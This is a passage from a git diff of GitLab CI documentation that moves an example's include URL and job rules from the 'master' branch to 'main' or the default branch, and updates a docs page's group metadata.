`https://gitlab.com/awesome-project/raw/master/.before-script-template.yml`: +Content of `https://gitlab.com/awesome-project/raw/main/.before-script-template.yml`: ```yaml default: @@ -83,7 +83,7 @@ default: Content of `.gitlab-ci.yml`: ```yaml -include: 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml' +include: 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml' rspec: script: @@ -111,8 +111,8 @@ production: environment: name: production url: https://$CI_PROJECT_PATH_SLUG.$KUBE_INGRESS_BASE_DOMAIN - only: - - master + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH ``` Content of `.gitlab-ci.yml`: diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md index f4e099c3128..2e5517f6190 100644 --- a/doc/ci/yaml/script.md +++ b/doc/ci/yaml/script.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- |